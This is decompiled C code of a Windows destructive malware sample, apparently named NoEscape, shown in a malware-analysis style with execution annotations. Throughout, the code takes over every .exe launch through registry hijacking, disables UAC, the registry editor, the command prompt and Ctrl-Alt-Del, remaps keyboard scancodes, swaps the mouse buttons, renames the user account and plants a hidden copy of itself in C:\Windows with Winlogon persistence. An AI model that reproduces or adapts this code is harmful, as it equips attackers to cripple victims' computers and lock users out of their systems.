				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				long _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				char _v508;
				char _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				struct HWND__* _v636;
				char _v640;
				char _v644;
				short _v656;
				struct _SID_IDENTIFIER_AUTHORITY _v660;
				struct _SYSTEMTIME _v700;
				intOrPtr _v702;
				short _v706;
				intOrPtr _v714;
				void _v716;
				short _v718;
				WCHAR** _v720;
				struct HWND__* _v732;
				struct _WNDCLASSEXW _v780;
				void* _v784;
				WCHAR* _v788;
				char _v801;
				void* _v809;
				struct tagMSG _v812;
				char _v816;
				char _v824;
				short* _v828;
				WCHAR* _v832;
				int _v836;
				intOrPtr _v840;
				int _v844;
				void* _v880;
				void* _v892;
				void* _v896;
				void* _v904;
				signed int _v916;
				int _v920;
				void* _v924;
				int _v928;
				void* _v932;
				signed int _t390;
				void* _t395;
				void* _t397;
				int _t400;
				signed int _t409;
				signed char _t415;
				signed char _t422;
				signed int _t428;
				WCHAR* _t437;
				signed int _t438;
				long _t446;
				WCHAR* _t450;
				WCHAR* _t454;
				void* _t456;
				struct _SECURITY_ATTRIBUTES* _t458;
				int _t459;
				WCHAR* _t460;
				WCHAR* _t461;
				WCHAR* _t462;
				WCHAR* _t463;
				intOrPtr _t464;
				WCHAR* _t465;
				int _t467;
				int _t473;
				WCHAR* _t477;
				void* _t478;
				int _t480;
				struct HWND__* _t481;
				long _t484;
				struct HINSTANCE__* _t487;
				intOrPtr _t496;
				WCHAR* _t498;
				WCHAR* _t504;
				long _t519;
				int _t520;
				WCHAR* _t523;
				WCHAR* _t524;
				int _t532;
				WCHAR* _t559;
				signed char _t563;
				int _t568;
				int _t569;
				signed char _t571;
				int _t579;
				WCHAR* _t601;
				long _t619;
				signed int _t622;
				WCHAR* _t623;
				signed int _t625;
				signed int _t626;
				signed int _t633;
				WCHAR* _t639;
				WCHAR* _t641;
				signed int _t642;
				int _t644;
				signed int _t652;
				WCHAR* _t655;
				void* _t664;
				short _t668;
				short _t669;
				short _t671;
				void* _t674;
				WCHAR* _t678;
				short _t683;
				WCHAR* _t684;
				void* _t689;
				intOrPtr* _t696;
				void* _t697;
				intOrPtr _t698;
				signed char _t700;
				signed char _t702;
				signed char _t703;
				short* _t709;
				WCHAR* _t710;
				signed char _t711;
				WCHAR* _t715;
				WCHAR* _t717;
				WCHAR* _t718;
				void* _t719;
				WCHAR* _t722;
				WCHAR* _t723;
				WCHAR* _t726;
				WCHAR* _t732;
				signed char _t745;
				signed char _t746;
				short** _t751;
				WCHAR* _t756;
				void* _t761;
				void* _t763;
				intOrPtr* _t764;
				void* _t766;
				WCHAR* _t768;
				WCHAR* _t769;
				void* _t770;
				struct _TOKEN_PRIVILEGES* _t771;
				int _t772;
				int _t773;
				intOrPtr* _t774;
				struct HWND__* _t778;
				int _t780;
				int _t781;
				intOrPtr* _t782;
				WCHAR* _t789;
				void* _t793;
				short* _t794;
				intOrPtr* _t795;
				void* _t796;
				signed int _t799;
				signed int _t801;
				void* _t803;
				void* _t804;

				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t801 = (_t799 & 0xfffffff8) - 0x2dc;
				_t390 =  *0x408014; // 0xffc51803
				_v8 = _t390 ^ _t801;
				_t751 = _a8;
				_v640 = _t751;
				 *0x4083d8 = GetModuleHandleW(0);
				 *0x4083e0 = GetProcessHeap();
				 *0x4083d0 = GetCurrentProcess();
				_t395 = RtlAllocateHeap( *0x4083e0, 8, 0x1866);
				_t766 = _t395;
				_v780.lpszMenuName = _t766;
				_t397 =  *0x405280( &(_v780.hIconSm), L"RNG", 0, 0, __edi, __esi, __ebx, _t796); // executed
				if(_t397 == 0) {
					_t689 = RtlAllocateHeap( *0x4083e0, 8, 0x10);
					 *0x4083b8 = _t689;
					 *0x405284(_v780.hInstance, _t689, 0x10, 0);
					 *0x40527c(_v780.style, 0);
					 *0x4050dc(0x4083a0);
				}
				_v660.Value = 0;
				_v656 = 0x500;
				_t400 = AllocateAndInitializeSid( &_v660, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &(_v780.hCursor));
				_v780.hbrBackground = _t400;
				if(_t400 == 0) {
					L92:
					ShellExecuteW(0, L"runas",  *_t751, 0, 0, 1);
					L54:
					 *0x4050e0(0x4083a0);
					HeapFree( *0x4083e0, 0,  *0x4083b8);
					CloseHandle( *0x4083d0);
					HeapFree( *0x4083e0, 0, _t766);
					return E0040410C(_v36 ^ _t801);
				}
				_t409 =  *0x405020(0, _v780.hCursor,  &(_v780.hbrBackground)); // executed
				asm("sbb eax, eax");
				_v780.hInstance = _v780.hInstance &  ~_t409;
				FreeSid(_v780.cbWndExtra);
				if(_v780.hInstance == 0) {
					goto L92;
				}
				L00404A40();
				_t803 = _t801 + 0xc;
				_v512 = 0x11c;
				 *0x405290( &_v512,  &_v508, 0, 0x118);
				if(_v512 == 0xa) {
					asm("movups xmm0, [0x4052e0]");
					_t696 =  *0x405160;
					_t415 = 0;
					 *0x4083d4 = 0;
					_t768 = _t766 + 6;
					asm("movups [esp+0x90], xmm0");
					asm("movups xmm0, [0x405340]");
					asm("movups [esp+0xa0], xmm0");
					asm("movups xmm0, [0x4052f0]");
					asm("movups [esp+0xb0], xmm0");
					asm("movups xmm0, [0x4052d0]");
					asm("movups [esp+0xc0], xmm0");
					asm("movups xmm0, [0x405300]");
					asm("movups [esp+0xd0], xmm0");
					asm("movups xmm0, [0x405310]");
					asm("movups [esp+0xe0], xmm0");
					asm("movups xmm0, [0x405330]");
					asm("movups [esp+0xf0], xmm0");
					asm("movups xmm0, [0x405320]");
					asm("movups [esp+0x100], xmm0");
					do {
						 *_t696(((_t415 & 0x000000ff) << 4) +  &_v644, 0x1000, 0,  &(_v780.cbClsExtra)); // executed
						lstrcpyW(_t768, _v784);
						_t768 =  &(_t768[0x104]);
						 *0x405298(_v784);
						_t422 =  *0x4083d4; // 0x6
						_t415 = _t422 + 1;
						 *0x4083d4 = _t415;
						__eflags = _t415 - 8;
					} while (_t415 < 8);
					_t697 = _v812.time;
					 *0x405274(_t697, 3, _t697 + 6, 2);
					_t804 = _t803 + 0x10;
					_t769 = _t697 + 0x1456;
					GetModuleFileNameW(0, _t769, 0x104);
					GetCurrentDirectoryW(0x104, _t697 + 0x124e);
					_t698 =  *0x405120;
					_t428 = lstrlenW(_t769);
					__eflags = _t769[_t428] - 0x5c;
					_t37 =  &(_t769[_t428]) - 2; // -2
					_t709 =  !=  ?  &(_t769[_t428]) : _t37;
					while(1) {
						__eflags =  *_t709 - 0x5c;
						if( *_t709 == 0x5c) {
							break;
						}
						_t709 = _t709 - 2;
						__eflags = _t709 - _t769;
						if(_t709 > _t769) {
							continue;
						}
						_t710 = 0;
						L14:
						_t770 = _v812.time;
						lstrcpyW(_t770 + 0x1046, _t710);
						wsprintfW(_t770 + 0x165e, L"%s\\winnt32.exe", _t770 + 6);
						_push(0x1866);
						_push(_t770);
						_push(0x408400);
						L00404B5A();
						_t801 = _t804 + 0x18;
						_t771 = RtlAllocateHeap( *0x4083e0, 8, 0x34);
						_t437 = OpenProcessToken( *0x4083d0, 0x28,  &_v784);
						__eflags = _t437;
						if(_t437 == 0) {
							L53:
							_t766 = _v812.time;
							goto L54;
						}
						_t771->PrivilegeCount = 4;
						_t711 = 0;
						__eflags = 0;
						_t771->Privileges = 0x11;
						 *((intOrPtr*)(_t771 + 0x10)) = 0x12;
						 *((intOrPtr*)(_t771 + 0x1c)) = 0x13;
						 *(_t771 + 0x28) = 0x14;
						do {
							_t438 = _t711 & 0x000000ff;
							_t711 = _t711 + 1;
							 *(_t771 + (_t438 + 1 + (_t438 + 1) * 2) * 4) = 3;
							__eflags = (_t711 & 0x000000ff) - _t771->PrivilegeCount;
						} while ((_t711 & 0x000000ff) < _t771->PrivilegeCount);
						 *0x4083d4 = _t711; // executed
						AdjustTokenPrivileges(_v784, 0, _t771, 0, 0, 0); // executed
						CloseHandle(_v784);
						 *((intOrPtr*)( *0x405128))( *0x4083e0, 0, _t771);
						_t446 = GetFileAttributesW(L"C:\\Windows\\winnt32.exe"); // executed
						__eflags = _t446 - 0xffffffff;
						if(_t446 != 0xffffffff) {
							GetSystemTime( &_v700);
							_t450 = RtlAllocateHeap( *0x4083e0, 8, 0x12 + lstrlenW(L"C:\\Windows\\winnt32.exe") * 2);
							 *0x4083c8 = _t450;
							 *((intOrPtr*)( *0x4051d4))(_t450, L"%s \"%%1\" %%*", L"C:\\Windows\\winnt32.exe");
							_t801 = _t801 + 0xc;
							_t772 = lstrlenW( *0x4083c8);
							_v812.message = 0x80000002;
							_t454 =  *0x4083c8; // 0x6d5dd0
							_v716 = _t454;
							__eflags = _t454;
							if(_t454 != 0) {
								_t781 = _t772 + _t772;
								__eflags = _t781;
								RegCreateKeyExW(0x80000002, L"SOFTWARE\\Classes\\exefile\\shell\\open\\command", 0, 0, 0, 0x102, 0,  &(_v812.message), 0);
								RegSetValueExW(_v812.message, 0, 0, 1, _v716, _t781);
								RegCloseKey(_v812.message);
								_t454 =  *0x4083c8; // 0x6d5dd0
							}
							_t773 = lstrlenW(_t454);
							_v812.wParam = 0x80000002;
							_t456 =  *0x4083c8; // 0x6d5dd0
							_v716 = _t456;
							__eflags = _t456;
							if(_t456 != 0) {
								_t780 = _t773 + _t773;
								__eflags = _t780;
								RegCreateKeyExW(0x80000002, L"SOFTWARE\\Classes\\exefile\\shell\\runas\\command", 0, 0, 0, 0x102, 0,  &(_v812.wParam), 0);
								RegSetValueExW(_v812.wParam, 0, 0, 1, _v716, _t780);
								RegCloseKey(_v812.wParam);
								_t456 =  *0x4083c8; // 0x6d5dd0
							}
							HeapFree( *0x4083e0, 0, _t456);
							_t458 = _t751[1];
							__eflags = _t458;
							if(_t458 != 0) {
								__eflags = _a4 - 1;
								if(_a4 <= 1) {
									goto L53;
								}
								_t459 = lstrlenW(_t458);
								__eflags = _t459 - 4;
								if(_t459 <= 4) {
									goto L53;
								}
								_t774 =  *0x4051f4; // 0x6fc55750
								_t460 =  *_t774(_t751[1], 0x2e);
								_t801 = _t801 + 8;
								__eflags = _t460;
								if(_t460 == 0) {
									goto L53;
								}
								_t461 =  *_t774(0x2e, L".exe");
								_t801 = _t801 + 8;
								_t462 = lstrcmpiW(_t461, _t751[1]);
								__eflags = _t462;
								if(_t462 != 0) {
									goto L53;
								}
								_t463 =  *0x4051e0(_t751[1], L"winnt32.exe");
								_t801 = _t801 + 8;
								__eflags = _t463;
								if(_t463 != 0) {
									goto L53;
								}
								_t464 = _v702;
								__eflags = _t464 - 0xe;
								if(_t464 != 0xe) {
									__eflags = _t464 - 0x12;
									if(_t464 != 0x12) {
										L91:
										_t465 = GetCommandLineW();
										_t467 = lstrlenW( *_v720);
										E004010E0(_t698, _v720[1],  &(_t465[_t467 + lstrlenW(_v720[1]) + 3]), _t465, _t467 + lstrlenW(_v720[1]) + 3, _t711);
										goto L53;
									}
									__eflags = _v706 - 9;
									if(_v706 != 9) {
										goto L91;
									}
									__eflags = _a4 - 2;
									if(_a4 != 2) {
										goto L53;
									}
									_t473 = lstrlenW(_t751[1]);
									__eflags = _t473 - 0xc;
									if(_t473 <= 0xc) {
										L89:
										CreateMutexW(0, 1, L"processLimitPayload");
										__eflags = GetLastError() - 0xb7;
										if(__eflags != 0) {
											E004038A0(__eflags);
										}
										goto L53;
									}
									_t477 =  *_t774(_t751[1], 0x5c);
									_t801 = _t801 + 8;
									__eflags = _t477;
									if(_t477 == 0) {
										goto L53;
									}
									_t478 =  *_t774(_t751[1], 0x5c);
									_t801 = _t801 + 8;
									_t480 = lstrlenW(_t478 + 2);
									__eflags = _t480 - 0xc;
									if(_t480 > 0xc) {
										goto L53;
									}
									goto L89;
								}
								__eflags = _v706 - 1;
								if(_v706 != 1) {
									goto L91;
								}
								_t481 = OpenMutexW(0x100000, 0, L"processLimitPayload");
								__eflags = _t481;
								if(_t481 != 0) {
									goto L91;
								}
								MessageBoxW(_t481, L"fred durst says: no computer today silly boy go outsie to play", L"(1) New Message from Fred Durst", 0x30);
								goto L53;
							} else {
								CreateMutexW(_t458, 1, L"processLimit");
								_t484 = GetLastError();
								__eflags = _t484 - 0xb7;
								if(_t484 == 0xb7) {
									goto L53;
								}
								_v716 = 1;
								NtSetInformationProcess( *0x4083d0, 0x1d,  &_v716, 4);
								_t487 =  *0x4083d8; // 0x400000
								asm("xorps xmm0, xmm0");
								_v732 = 0;
								_v780.style = 0;
								asm("movlpd [esp+0x50], xmm0");
								asm("movlpd [esp+0x64], xmm0");
								_v780.cbSize = 0x30;
								_v780.lpszClassName = L"WINNT32";
								_v780.lpfnWndProc = E004019E0;
								_v780.hInstance = _t487;
								_v780.hCursor = LoadCursorW(_t487, 0x7f00);
								_v780.hIcon = LoadIconW( *0x4083d8, 0x65);
								_v780.hIconSm = LoadIconW( *0x4083d8, 0x65);
								RegisterClassExW( &_v780);
								_t778 = CreateWindowExW(8, L"WINNT32", L"WINNT32.EXE", 0xcb0000, 0, 0, 0x190, 0x2d0, 0, 0,  *0x4083d8, 0);
								E00401750(_t698, 0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoEscape", _t778, L"ShowWindow", 4,  &_v732);
								__eflags = _v780.lpszMenuName - 1;
								if(_v780.lpszMenuName == 1) {
									ShowWindow(_t778, 5);
									UpdateWindow(_t778);
								}
								_t496 = _v714;
								__eflags = _t496 - 9;
								if(_t496 != 9) {
									__eflags = _t496 - 0x15;
									if(_t496 != 0x15) {
										goto L70;
									}
									__eflags = _v718 - 0xa;
									if(_v718 != 0xa) {
										goto L70;
									}
									CreateMutexW(0, 1, L"processLimitPayload");
									_push(0);
									_push(0);
									_push(0);
									_push(E004019B0);
									goto L69;
								} else {
									__eflags = _v718 - 3;
									if(_v718 != 3) {
										L70:
										_t498 = GetMessageW( &_v812, 0, 0, 0);
										__eflags = _t498;
										if(_t498 == 0) {
											goto L53;
										}
										do {
											TranslateMessage( &_v812);
											DispatchMessageW( &_v812);
											_t504 = GetMessageW( &_v812, 0, 0, 0);
											__eflags = _t504;
										} while (_t504 != 0);
										goto L53;
									}
									CreateMutexW(0, 1, L"processLimitPayload");
									_push(0);
									_push(0);
									_push(0);
									_push(E004019C0);
									L69:
									CreateThread(0, 0, ??, ??, ??, ??);
									goto L70;
								}
							}
						}
						CreateMutexW(0, 1, L"processLimit"); // executed
						_t519 = GetLastError();
						__eflags = _t519 - 0xb7;
						if(_t519 == 0xb7) {
							goto L53;
						}
						_t520 = MessageBoxW(0, L"This malware is no joke, continue?", L"WINNT32", 0x24); // executed
						__eflags = _t520 - 6;
						if(_t520 != 6) {
							goto L53;
						}
						_t53 = _t520 + 0x13; // 0x13
						_t54 = _t520 + 0xa; // 0xa
						_v801 = E00403DD0(_t54, _t53);
						 *0x4083c8 = RtlAllocateHeap( *0x4083e0, 8, 0x2a);
						_t523 = _v809;
						__eflags = _t523;
						if(_t523 == 0) {
							L29:
							_t524 = RtlReAllocateHeap( *0x4083e0, 8,  *0x4083c8, 0x28);
							_t715 = 0;
							__eflags = _t524;
							if(_t524 != 0) {
								asm("xorps xmm0, xmm0");
								_t715 = _t524;
								asm("movups [eax], xmm0");
								asm("movups [eax+0x10], xmm0");
								asm("movq [eax+0x20], xmm0");
							}
							 *0x4083c8 = _t715;
							 *0x4083c0 = 0x14; // executed
							GetUserNameW(_t715, 0x4083c0);
							_t756 =  *0x4083c8; // 0x6d5dd0
							_t782 =  *0x405154; // 0x6eeddbf0
							_v732 = L"NO ESCAPE";
							 *_t782(0, _t756, 0x3f3,  &_v732, 0);
							_v780.hCursor = L"death";
							 *_t782(0, _t756, 0x3eb,  &(_v780.hCursor), 0);
							_v780.lpfnWndProc = 2;
							 *_t782(0, _t756, 0x3ed,  &(_v780.lpfnWndProc), 0);
							_t532 = lstrlenW("0");
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"AutoAdminLogon", 0, 1, "0", _t532 + _t532); // executed
							RegCloseKey(_v880); // executed
							_v812.pt = 1;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"DisableCAD", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_v812.pt = 0;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"shutdownwithoutlogon", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_v812.pt = 1;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"UseDefaultTile", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_v812.pt = 1;
							_v880 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows\\System", 0, 0, 0, 0x102, 0,  &_v880, 0); // executed
							RegSetValueExW(_v880, L"DisableLogonBackgroundImage", 0, 4,  &(_v812.pt), 4); // executed
							RegCloseKey(_v880);
							_t559 = RtlReAllocateHeap( *0x4083e0, 8,  *0x4083c8, 0x5c + lstrlenW(L"C:\\ProgramData") * 2);
							__eflags = _t559;
							_t717 =  !=  ? _t559 : 0;
							 *0x4083c8 = _t717;
							_t758 =  *0x405088;
							lstrcpyW(_t717, L"C:\\ProgramData");
							_t785 =  *0x405064;
							lstrcatW( *0x4083c8, L"\\Microsoft\\User Account Pictures\\");
							_t718 =  *0x4083c8; // 0x6d5dd0, executed
							E00401830(_t698, _t718,  *0x405088,  *0x405064);
							_t719 =  *0x4083c8; // 0x6d5dd0
							_t563 = 0;
							__eflags = 0;
							_v812.pt = L"user.bmp";
							_v788 = L"user.png";
							_v784 = L"user-32.png";
							_v780.cbSize = L"user-40.png";
							_v780.style = L"user-48.png";
							_v780.lpfnWndProc = L"user-192.png";
							 *0x4083d4 = 0;
							do {
								lstrcatW(_t719,  *(_t801 + 0x78 + (_t563 & 0x000000ff) * 4));
								E004015C0(_t698, ( *0x4083d4 & 0x000000ff) + 0x67, _t758, _t785); // executed
								_t568 = lstrlenW( *(_t801 + 0x78 + ( *0x4083d4 & 0x000000ff) * 4));
								_t569 = lstrlenW( *0x4083c8);
								_t719 =  *0x4083c8; // 0x6d5dd0
								_t785 =  *0x405064;
								 *((short*)(_t719 + (_t569 - _t568) * 2)) = 0;
								_t571 =  *0x4083d4; // 0x6
								_t563 = _t571 + 1;
								 *0x4083d4 = _t563;
								__eflags = _t563 - 6;
							} while (_t563 < 6);
							HeapFree( *0x4083e0, 0, _t719);
							_v640 = 0;
							_v636 = 0;
							_v632 = 0x71;
							_v628 = 0x10000;
							_v624 = 0x3b0000;
							_v620 = 0x3c0000;
							_v616 = 0x3d0000;
							_v612 = 0x3e0000;
							_v608 = 0x3f0000;
							_v604 = 0x400000;
							_v600 = 0x410000;
							_v596 = 0x420000;
							_v592 = 0x430000;
							_v588 = 0x440000;
							_v584 = 0x570000;
							_v580 = 0x580000;
							_v576 = 0xe0370000;
							_v572 = 0x460000;
							_v568 = 0xe0520000;
							_v564 = 0xe0470000;
							_v560 = 0xe0490000;
							_v556 = 0xe0510000;
							_v552 = 0xe04f0000;
							_v548 = 0xe0530000;
							_v544 = 0xe0480000;
							_v540 = 0xe04b0000;
							_v536 = 0xe0500000;
							_v532 = 0xe04d0000;
							_v528 = 0x520000;
							_v524 = 0x530000;
							_v520 = 0x510000;
							_v516 = 0x500000;
							_v512 = 0x4f0000;
							_v508 = 0x4b0000;
							_v504 = 0x4c0000;
							_v500 = 0x4d0000;
							_v496 = 0x4e0000;
							_v492 = 0x490000;
							_v488 = 0x480000;
							_v484 = 0x470000;
							_v480 = 0x450000;
							_v476 = 0xe0350000;
							_v472 = 0x370000;
							_v468 = 0x4a0000;
							_v464 = 0x290000;
							_v460 = 0x20000;
							_v456 = 0x30000;
							_v452 = 0x40000;
							_v448 = 0x50000;
							_v444 = 0x60000;
							_v440 = 0x70000;
							_v436 = 0x80000;
							_v432 = 0x90000;
							_v428 = 0xa0000;
							_v424 = 0xb0000;
							_v420 = 0xc0000;
							_v416 = 0xd0000;
							_v412 = 0xf0000;
							_v408 = 0x100000;
							_v404 = 0x110000;
							_v400 = 0x130000;
							_v396 = 0x160000;
							_v392 = 0x170000;
							_v388 = 0x190000;
							_v384 = 0x1a0000;
							_v380 = 0x1b0000;
							_v376 = 0x2b0000;
							_v372 = 0x280000;
							_v368 = 0x270000;
							_v364 = 0x260000;
							_v360 = 0x250000;
							_v356 = 0x240000;
							_v352 = 0x220000;
							_v348 = 0x210000;
							_v344 = 0x3a0000;
							_v340 = 0x2a0000;
							_v336 = 0x1d0000;
							_v332 = 0xe05b0000;
							_v328 = 0x380000;
							_v324 = 0x2c0000;
							_v320 = 0x2d0000;
							_v316 = 0x2e0000;
							_v312 = 0x2f0000;
							_v308 = 0x300000;
							_v304 = 0x320000;
							_v300 = 0x330000;
							_v296 = 0x340000;
							_v292 = 0x350000;
							_v288 = 0x360000;
							_v284 = 0xe01d0000;
							_v280 = 0xe05d0000;
							_v276 = 0xe05c0000;
							_v272 = 0xe0380000;
							_v268 = 0x590000;
							_v264 = 0xe0650000;
							_v260 = 0xe0210000;
							_v256 = 0xe06b0000;
							_v252 = 0xe05e0000;
							_v248 = 0xe05f0000;
							_v244 = 0xe06a0000;
							_v240 = 0xe0690000;
							_v236 = 0xe0680000;
							_v232 = 0xe0670000;
							_v228 = 0xe0320000;
							_v224 = 0xe06c0000;
							_v220 = 0xe06d0000;
							_v216 = 0xe0660000;
							_v212 = 0xe0200000;
							_v208 = 0xe02e0000;
							_v204 = 0xe02c0000;
							_v200 = 0xe0300000;
							_v196 = 0xe0190000;
							_v192 = 0xe0100000;
							_v188 = 0xe0240000;
							_v184 = 0xe0220000;
							_v180 = 0;
							_v892 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout", 0, 0, 0, 0x102, 0,  &_v892, 0); // executed
							RegSetValueExW(_v892, L"Scancode Map", 0, 3,  &_v640, 0x1d0); // executed
							 *((intOrPtr*)( *0x405014))(_v892);
							_t579 = lstrlenW("1");
							_v896 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"Control Panel\\Mouse", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"SwapMouseButtons", 0, 1, "1", _t579 + _t579); // executed
							RegCloseKey(_v896);
							_v812.message = 0;
							_v896 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"EnableLUA", 0, 4,  &(_v812.message), 4); // executed
							RegCloseKey(_v896);
							_v812.message = 1;
							_v896 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"DisableRegistryTools", 0, 4,  &(_v812.message), 4); // executed
							RegCloseKey(_v896);
							_v812.message = 2;
							_v896 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"SOFTWARE\\Policies\\Microsoft\\Windows\\System", 0, 0, 0, 0x102, 0,  &_v896, 0); // executed
							RegSetValueExW(_v896, L"DisableCMD", 0, 4,  &(_v812.message), 4); // executed
							RegCloseKey(_v896);
							_t601 = RtlAllocateHeap( *0x4083e0, 8, 0x1c + lstrlenW(L"C:\\Users\\jones\\AppData\\Local") * 2);
							 *0x4083c8 = _t601;
							 *((intOrPtr*)( *0x4051d4))(_t601, L"%s\\noescape.png", L"C:\\Users\\jones\\AppData\\Local");
							_t801 = _t801 + 0xc;
							E004015C0(_t698, 0x66, _t758,  *0x405014); // executed
							SystemParametersInfoW(0x14, 0,  *0x4083c8, 1);
							_v816 = 0;
							_v904 = 0x80000002;
							RegCreateKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0, 0, 0x102, 0,  &_v904, 0); // executed
							RegSetValueExW(_v904, L"AutoRestartShell", 0, 4,  &_v816, 4); // executed
							RegCloseKey(_v904);
							_v816 = 1;
							_v904 = 0x80000001;
							RegCreateKeyExW(0x80000001, L"Control Panel\\Desktop", 0, 0, 0, 0x102, 0,  &_v904, 0); // executed
							RegSetValueExW(_v904, L"AutoColorization", 0, 4,  &_v816, 4); // executed
							RegCloseKey(_v904);
							E00401830(_t698, L"C:\\Users\\jones\\Desktop", _t758,  *0x405014); // executed
							E00401830(_t698, L"C:\\Users\\Public\\Desktop", _t758,  *0x405014); // executed
							_t619 = 0x44 + lstrlenW(L"C:\\Users\\Public\\Desktop") * 2;
							_v816 = _t619;
							_t789 = RtlReAllocateHeap( *0x4083e0, 8,  *0x4083c8, _t619);
							_t722 = 0;
							__eflags = _t789;
							if(_t789 != 0) {
								_push(_v828);
								_push(0);
								_push(_t789);
								L00404A40();
								_t801 = _t801 + 0xc;
								_t722 = _t789;
							}
							 *0x4083c8 = _t722;
							lstrcpyW(_t722, L"C:\\Users\\Public\\Desktop");
							_t622 = lstrlenW(L"C:\\Users\\Public\\Desktop");
							_t723 =  *0x4083c8; // 0x6d5dd0
							_t623 =  &(_t723[_t622]);
							 *_t623 = 0x5c;
							_v828 =  &(_t623[1]);
							_t625 = GetSystemMetrics(1);
							_t626 = GetSystemMetrics(0);
							 *0x4083bc = 0;
							_t633 = (0x2aaaaaab * _t625 * _t626 >> 0x00000020 >> 0x0000000a >> 0x0000001f) + 0x00000010 + (0x2aaaaaab * _t625 * _t626 >> 0x00000020 >> 0x0000000a) & 0x0000ffff;
							_v916 = _t633;
							__eflags = 0 - _t633;
							if(0 >= _t633) {
								L45:
								HeapFree( *0x4083e0, 0,  *0x4083c8);
								CopyFileW(L"C:\\Users\\jones\\Desktop\\NoEscape.exe", L"C:\\Windows\\winnt32.exe", 0); // executed
								SetFileAttributesW(L"C:\\Windows\\winnt32.exe", 6); // executed
								_t639 = RtlAllocateHeap( *0x4083e0, 8, 0x102 + lstrlenW(L"C:\\Windows\\winnt32.exe") * 2);
								_v832 = _t639;
								 *0x4083c8 = _t639;
								_v836 = 1;
								_v924 = 0x80000002;
								_v920 = 0;
								_t641 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, 0x101,  &_v924); // executed
								__eflags = _t641;
								if(_t641 == 0) {
									_t655 = RegQueryValueExW(_v924, L"Userinit", 0,  &_v836, 0,  &_v920); // executed
									__eflags = _t655;
